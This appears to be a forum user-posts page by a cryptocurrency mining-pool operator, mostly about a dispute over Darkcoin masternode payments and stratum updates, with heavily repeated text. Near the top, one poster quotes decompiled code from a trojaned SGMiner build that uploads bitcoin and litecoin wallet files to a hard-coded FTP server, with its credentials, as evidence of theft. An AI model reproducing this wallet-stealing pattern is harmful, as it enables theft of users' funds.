 Show Posts
|
|
Pages: [1] 2 3 4 »
|
Didn't look into the ip, thanks. Didn't look into his block chain transactions though somebody should.
Confirmed  We're gathering all the necessary information and evidence right now. Suspect that the person compiling binaries for SGMiner ( www.sgminerwindows.com) was trying to pull a fast one. |
|
|
|
Fine I'll do all the work for you guys, the linked code in github is obviously not the code the bad link! Here are some code samples from the file : call string [mscorlib]System.String::Concat(string, string) call class [mscorlib]System.IO.DirectoryInfo [mscorlib]System.IO.Directory::CreateDirectory(string) pop ldstr " http://ftp://212.48.76.120/" ldstr "medusaminer" ldstr "barkleys" newobj instance void ftp::.ctor(string hostIP, string userName, string password) stloc.1 newobj instance void [mscorlib]System.Random::.ctor() stloc.2 ldloc.2 ldc.i4.0 nop ldloc.0 ldstr "\\bitcoin" call string [mscorlib]System.String::Concat(string, string) call bool [mscorlib]System.IO.Directory::Exists(string) ldc.i4.0 ceq ldstr "\\bitcoin\\wallet.dat" call string [mscorlib]System.String::Concat(string, string) callvirt instance void ftp::upload(string remoteFile, string localFile) nop nop loc_B8C: // CODE XREF: Upload+A6 ldstr "\\litecoin\\wallet.dat" call string [mscorlib]System.String::Concat(string, string) call bool [mscorlib]System.IO.File::Exists(string) ldc.i4.0 ceq stloc.s 8 ldloc.s 8 brtrue.s loc_C14 nop screenshot because I know you don't believe me :  Hold on, going to do my due diligence and analyze the .exe -- if what you say is true I will remove the tutorial and any mention of SGMiner from Blackcoinpool.com. |
|
|
|
I run www.blackcoinpool.comhttps://github.com/veox/sgminer <<< if you took it apart, you would have no problem pointing it out in the code. sgminer is not required to use Black Coin Pool, it's just a common mining software that people use, so we posted up a tutorial. If some one posts some viable proof, other than "I did it, believe me" I will gladly remove any mention of SGminer from the pool. But out of the thousands of people that have used the pool, and the thousands upon thousands of people who use SGMiner, only you seem to be "getting hacked." No proof of anything other than showing a transaction from a wallet, and then posting your address asking for donations while deleting posts from this forum. |
|
|
|
We are adapting. The point is via lazy coding you are increasing the number of headaches in my life and I have enough already.
+111111 Multipools support so many coins, and every coin has their way of doing things, and we already have such a huge headache from avoiding forks, mandatory updates (across 40 wallets!!) that when a coin comes along and is like "Hey now you also need custom code, or a stratum update" it throws quiet the fork in to our operations. We don't follow your coins directly (at least I don't) but we are more than happy to comply and make sure your eco system is working-- just make it easy and clear for us to do so, because we have to do it across MANY MANY coins every day. Although I understand the issue: This is what you earn quite some money with. I think it's worth your while  Thanks for giving your best to comply! All we are asking for is a centralized area with some information regarding this change-- like so some one can Twitter me a link and say "DO THIS" -- we will always do that-- but we've been hunting this information down for like 2 days, with no clear answers. Hell even the other multipool guy didn't know he had to update his stratum-- a lot of the pools don't -- I spoke with them yesterday. People are just contacting us from your communities telling us to update the wallets and nothing else-- which we have done. We don't follow DarkCoin, we don't know the intricacies of your currency, or what magic joojoo it takes to run. Just send us some clear info, and we will comply, if we can't have that info then we delist because otherwise we're made out to be some fraudsters. I'm not attacking your community, I have no beef with your coin, or how you guys and your developers chose to run it. But whether you like it or not, pools and multipools are a big part of your ecosystem, and help keep your blockchain secure and moving transactions. Please just give us 1 forum post or a link to a dev saying "for payments to work, you will need to do this, this and this in these methods and or functions and or configs, or you would need to write something that does this specific action." That's it, I don't think it's asking for much. To the guy with the airline analogy, if some regulation changed with an airline, there would be some sort of instructions that followed, to help airports comply. I don't feel we have received that information, or that information is not in an easily accessible place. Edit: it was a travel agency, not an airport. This was an oversight on my part. I'll work on getting the stratum update information distributed as soon as possible. Thank you, I will PM me you my personal contact information if that helps at all. |
|
|
|
I wasn't even aware stratum updates were required until about 20 minutes ago. I am asking my developer to merge the changes now.
However, I still think this is stupid and should be done in the wallet code.
Great, thanks for looking into it! I agree that this could have been communicated in a more transparent way. And I see that stuff like this is a huge pain for pools using custom stratum solutions (i.e. multipools). @BlackDoge: I think the magic happens here https://github.com/darkcoinproject/darkcoin-stratum/blob/master/lib/coinbasetx.py#L10 ll. 10-65 Alright cheers, I'm forwarding this to my engineers to see if we could make this work. Personnaly at this time i think your a bad actor. Im wrong ? Refund all missing masternode fees, then we can said we are wrong about you.  Cool story. |
|
|
|
{SNIP}
Multipools support so many coins, and every coin has their way of doing things, and we already have such a huge headache from avoiding forks, mandatory updates (across 40 wallets!!) that when a coin comes along and is like "Hey now you also need custom code, or a stratum update" it throws quiet the fork in to our operations. We don't follow your coins directly (at least I don't) but we are more than happy to comply and make sure your eco system is working-- just make it easy and clear for us to do so, because we have to do it across MANY MANY coins every day.
That's like complaining that you run a travel agency and each airline has different policies and keeping up with them is SUCH a burden. I mean, isn't it kind of obvious that dealing with dozens of coins is going to be challenging? +1 Have you guys thought about that hostility isn't helping your/our case right now? Seriously! Not a single posting of you guys has helped them with what to actually do. So cut them some slack and help them with complying or stfu. What hostility ? Check again Oo Moreover the "lazy coding" part (by flound1129) was hostile so you stfu thx. I think you are mistaking hostility for frustration. |
|
|
|
We are adapting. The point is via lazy coding you are increasing the number of headaches in my life and I have enough already.
+111111 Multipools support so many coins, and every coin has their way of doing things, and we already have such a huge headache from avoiding forks, mandatory updates (across 40 wallets!!) that when a coin comes along and is like "Hey now you also need custom code, or a stratum update" it throws quiet the fork in to our operations. We don't follow your coins directly (at least I don't) but we are more than happy to comply and make sure your eco system is working-- just make it easy and clear for us to do so, because we have to do it across MANY MANY coins every day. Although I understand the issue: This is what you earn quite some money with. I think it's worth your while Thanks for giving your best to comply! All we are asking for is a centralized area with some information regarding this change-- like so some one can Twitter me a link and say "DO THIS" -- we will always do that-- but we've been hunting this information down for like 2 days, with no clear answers. Hell even the other multipool guy didn't know he had to update his stratum-- a lot of the pools don't -- I spoke with them yesterday. People are just contacting us from your communities telling us to update the wallets and nothing else-- which we have done. We don't follow DarkCoin, we don't know the intricacies of your currency, or what magic joojoo it takes to run. Just send us some clear info, and we will comply, if we can't have that info then we delist because otherwise we're made out to be some fraudsters. I'm not attacking your community, I have no beef with your coin, or how you guys and your developers chose to run it. But whether you like it or not, pools and multipools are a big part of your ecosystem, and help keep your blockchain secure and moving transactions. Please just give us 1 forum post or a link to a dev saying "for payments to work, you will need to do this, this and this in these methods and or functions and or configs, or you would need to write something that does this specific action." That's it, I don't think it's asking for much. To the guy with the airline analogy, if some regulation changed with an airline, there would be some sort of instructions that followed, to help airports comply. I don't feel we have received that information, or that information is not in an easily accessible place. Edit: it was a travel agency, not an airport. |
|
|
|
I'm thinking that if.....
....if I am reading TheBlackDoge correctly
You run custom pool software - correct
Then getting DRK software to run on your system would be your issue and not a DRK issue
Introducing a gratuitous incompatibility that makes it harder for pools to mine your coin is a DRK issue as well. Pools are an adaptation to decentralised crypto? Adapt, n'est-ce pas? We are adapting. The point is via lazy coding you are increasing the number of headaches in my life and I have enough already. +111111 Multipools support so many coins, and every coin has their way of doing things, and we already have such a huge headache from avoiding forks, mandatory updates (across 40 wallets!!) that when a coin comes along and is like "Hey now you also need custom code, or a stratum update" it throws quiet the fork in to our operations. We don't follow your coins directly (at least I don't) but we are more than happy to comply and make sure your eco system is working-- just make it easy and clear for us to do so, because we have to do it across MANY MANY coins every day. |
|
|
|
I wasn't even aware stratum updates were required until about 20 minutes ago. I am asking my developer to merge the changes now.
However, I still think this is stupid and should be done in the wallet code.
Great, thanks for looking into it! I agree that this could have been communicated in a more transparent way. And I see that stuff like this is a huge pain for pools using custom stratum solutions (i.e. multipools). @BlackDoge: I think the magic happens here https://github.com/darkcoinproject/darkcoin-stratum/blob/master/lib/coinbasetx.py#L10 ll. 10-65 Alright cheers, I'm forwarding this to my engineers to see if we could make this work. |
|
|
|
I'm thinking that if.....
....if I am reading TheBlackDoge correctly
You run custom pool software - correct
Then getting DRK software to run on your system would be your issue and not a DRK issue
I feel like I'm banging my head up against a wall here--- I'm saying we are trying to comply-- just point us to the technical information-- something beyond than just "update to latest NOMP." |
|
|
|
Thanks for the view from the other side. Yes, the instructions could have been better. On the other hand, the majority of pools managed to implement the MN and surprise surprise - they still mine the coin even when the rate is lower by 20%. However, their compliance is putting them into disadvantaged positions against your pool so it is unlikely this situation will last much longer.
Look we have no problem complying, but 95% of those pools just had to update to the latest version of NOMP (the solution was provided for them) we have to write it custom. We would pay the 20%, and work it in to our formula-- but like I said instructions were not clear, even after we scrubbed through this thread and the darkcointalk one. This is coming from my engineers who spent like the better part of yesterday looking in to trying write in compliance.
Thanks for coming here and clarifying your points, much appreciated. Up until now I was under the impression that greed is the only factor for not paying the MN :-)
I wasn't even aware stratum updates were required until about 20 minutes ago. I am asking my developer to merge the changes now.
However, I still think this is stupid and should be done in the wallet code.
Yes please when you are reaching out to pools telling them to update, do more than just telling them to update the client-- a lot of these pools run dozens of coins, and it's impossible to keep up with every single one of them, or what little quirk they need. 99.9% of coin updates require us to update the client only-- that's what we are used to, so that's what we did when we were initially approached. Some real technical information here would be greatly appreciated-- specifically for pool operators, instead of accusing them of being greedy thieves =/ |
|
|
|
We support like 40 coins, all of them have something bubbling, for none of them do we have update stratum code unless it's a new algo. First we were told we just needed to update client, which we complied with as fast as we could. If some one could point to some clear instructions on what needs to be done, we would attempt to comply, but so far nothing (something beyond then just "update NOMP" as we have to write the solution custom ourselves.)
Hi, I have to agree with this, there should be no stratum modifications necessary for the masternode payments, they should be done within the coin wallet code, there is code already out there for this, check freicoin or other coins that have automated donations. People are going to exploit this to steal masternode payments. I guarantee it. Look I didn't mean to come off all hostile, we've been trying to become compliant for the last 2 days or so, but it's becoming frustrating, as everyone thinks we're doing this on purpose, but we're just not finding any clear instructions on getting this done. Hell the first 3 people that reached out to me all just said update your Drk Coin wallet, which we did, and then people still kept messaging us, so I thought it was a mistake, but people STILL kept messaging us, so I posted on twitter asking WTF, some one FINALLY links me to the DarkCoinTalk thread! Great I thought, I forward it to my engineers, and they come back and tell me that payments have to be manually sent-- or that we would have to write a custom solution on how to do it. Instructions were mostly just to update to NOMP or whatever flavor of Stratum you are using. So please gentlemen, understand where I am coming from. I'm not trying to steal freaking DRK coins or whatever, we've been trying to become compliant, and if some one can point to some real technical data and say "HERE THIS IS FROM THE DEVS, DO THIS" we will do it, but I have not seen that as of yet. |
|
|
|
You don't have to manually pay anything. You just need to make some modifications to your stratum code that adds the extra transaction to the block. Shouldn't take very long if you know what you're doing. And, as a pool owner, you should.
this indeed We support like 40 coins, all of them have something bubbling, for none of them do we have update stratum code unless it's a new algo. First we were told we just needed to update client, which we complied with as fast as we could. If some one could point to some clear instructions on what needs to be done, we would attempt to comply, but so far nothing (something beyond then just "update NOMP" as we have to write the solution custom ourselves.) Thank you for pointing out that the vast majority of coins are not trying to push the boundaries of innovation  Post here for help: https://darkcointalk.org/threads/just-had-an-idea-for-us-miner-collectively-help-drk-before-next-fork.1662/If DRK is still on your 'rotation', you must find it profitable, which is contra to what you said earlier Profit switch is 100% formula based-- it's whatever our algo says. |
|
|
|
{SNIP}
Well, we don't run an off the shelf solution, so to create a proper implementation, would take quiet some time, all to make 20% less coin. DRK womps.
I fail to see how the loss of a multipool is going to damage the DRK ecosystem. All it does is limit the options of your miners. It doesn't limit anything for my miners, at -20% DRK is not a profitable coin to mine at all-- on top of that we would have to invest dev time in to what is largely not a very profitable coin. Like I said, we will just be removing it from our rotation, as it does not make sense to mine-- not to mention the DEVs did not make it easy for pools with any clear instructions on what even needs to be automated. Just github links to a bunch of patches for off the shelf solutions--- 0 help really. Thanks for the view from the other side. Yes, the instructions could have been better. On the other hand, the majority of pools managed to implement the MN and surprise surprise - they still mine the coin even when the rate is lower by 20%. However, their compliance is putting them into disadvantaged positions against your pool so it is unlikely this situation will last much longer. Look we have no problem complying, but 95% of those pools just had to update to the latest version of NOMP (the solution was provided for them) we have to write it custom. We would pay the 20%, and work it in to our formula-- but like I said instructions were not clear, even after we scrubbed through this thread and the darkcointalk one. This is coming from my engineers who spent like the better part of yesterday looking in to trying write in compliance. |
|
|
|
|
We support like 40 coins, all of them have something bubbling, for none of them do we have update stratum code unless it's a new algo. First we were told we just needed to update client, which we complied with as fast as we could. If some one could point to some clear instructions on what needs to be done, we would attempt to comply, but so far nothing (something beyond then just "update NOMP" as we have to write the solution custom ourselves.)
|
|
|
|
I run a multipool... that's literally what we do-- we profit switch to get the best return. Mining DRK at a 20% loss will not make any of our miners happy-- as ultimately they don't get paid out in DRK anyway.. to them it's just a 20% loss of revenue.
Well if you find it difficult to comply with the intentions of the community and the development team, best we leave things there then. If you guys are paying out in BTC or something other than DRK, you are part of the reason for the coin 'not being profitable to mine'. In any event, if its not profitable, you wouldn't be switching to mine it, so no loss for you either way.+1, especially the part in bold! Which is why I said, if it was just as easy as updating the wallet, we would tweak our profit formula, and I wouldn't speak of it ever. The only reason I'm on here is because I kept getting messages about it, and we were trying to comply, we updated our wallet etc. But there was nearly no information on how pools can update themselves to work automagically with the payments-- except for updating NOMP or Stratum -- which we run a highly custom version of, so we can't just do that. That was my whole point, I don't care what you guys do with your currency, or how you handle it, or whatever-- but everyone is saying COMPLY COMPLY, with nearly no information on how to do it. |
|
|
|
{SNIP}
Well, we don't run an off the shelf solution, so to create a proper implementation, would take quiet some time, all to make 20% less coin. DRK womps.
I fail to see how the loss of a multipool is going to damage the DRK ecosystem. All it does is limit the options of your miners. It doesn't limit anything for my miners, at -20% DRK is not a profitable coin to mine at all-- on top of that we would have to invest dev time in to what is largely not a very profitable coin. Like I said, we will just be removing it from our rotation, as it does not make sense to mine-- not to mention the DEVs did not make it easy for pools with any clear instructions on what even needs to be automated. Just github links to a bunch of patches for off the shelf solutions--- 0 help really. So basically your saying that if you can't dump it now for profit what's the point? Am I reading this right? DRK Holders will be just find DRK dumpers will be the ones that really lose out I run a multipool... that's literally what we do-- we profit switch to get the best return. Mining DRK at a 20% loss will not make any of our miners happy-- as ultimately they don't get paid out in DRK anyway.. to them it's just a 20% loss of revenue. I wouldn't even care about all that, if I could just update the wallet and be on my merry way, instead of having to manually pay some Master Node. |
|
|
|
{SNIP}
Well, we don't run an off the shelf solution, so to create a proper implementation, would take quiet some time, all to make 20% less coin. DRK womps.
I fail to see how the loss of a multipool is going to damage the DRK ecosystem. All it does is limit the options of your miners. It doesn't limit anything for my miners, at -20% DRK is not a profitable coin to mine at all-- on top of that we would have to invest dev time in to what is largely not a very profitable coin. Like I said, we will just be removing it from our rotation, as it does not make sense to mine-- not to mention the DEVs did not make it easy for pools with any clear instructions on what even needs to be automated. Just github links to a bunch of patches for off the shelf solutions--- 0 help really. |
|
|
|
ME: complaining about Blackpool not paying to MN Blackpool: We aren't aware of the situation. More information would be appreciated. ME: Please check your twitter about the darknode payment issue. It says "We have updated our wallet so should be all good." According to my data, drk is being mined by your pool and masternode payments are disabled. Any comments? Jarek Blackpool: Ticket: http://blackcoinpool.freshdesk.com/helpdesk/tickets/189By "masternode payments are disabled" are you implying that this is a feature of your wallet? Or is it something we need to manually implement ourselves? If you have any links to instructions, technical details, or announcements they would help us resolve the issue sooner. Would someone post what exactly they have to do so I won't have to search for it? Thanks! Tell blackpool they need to update their pool software: For Stratum Pools: https://github.com/darkcoinproject/darkcoin-stratumThey'll have to update before the next fork, otherwise all their blocks will get rejected (even if they have the new wallet). Are you guys serious with these requirements? We're just going to take DRK off of our rotation-- if your wallet can't handle payments automagically, it's just a headache. We run highly custom software, and have no interest as of yet to make it DarkNode compatible. I don't understand why they can't put this in to the wallet? ^This amuses me. Well, we don't run an off the shelf solution, so to create a proper implementation, would take quiet some time, all to make 20% less coin. DRK womps. |
|
|
|
ME: complaining about Blackpool not paying to MN Blackpool: We aren't aware of the situation. More information would be appreciated. ME: Please check your twitter about the darknode payment issue. It says "We have updated our wallet so should be all good." According to my data, drk is being mined by your pool and masternode payments are disabled. Any comments? Jarek Blackpool: Ticket: http://blackcoinpool.freshdesk.com/helpdesk/tickets/189By "masternode payments are disabled" are you implying that this is a feature of your wallet? Or is it something we need to manually implement ourselves? If you have any links to instructions, technical details, or announcements they would help us resolve the issue sooner. Would someone post what exactly they have to do so I won't have to search for it? Thanks! Tell blackpool they need to update their pool software: For Stratum Pools: https://github.com/darkcoinproject/darkcoin-stratumThey'll have to update before the next fork, otherwise all their blocks will get rejected (even if they have the new wallet). Are you guys serious with these requirements? We're just going to take DRK off of our rotation-- if your wallet can't handle payments automagically, it's just a headache. We run highly custom software, and have no interest as of yet to make it DarkNode compatible. I don't understand why they can't put this in to the wallet? |
|
|
|
|
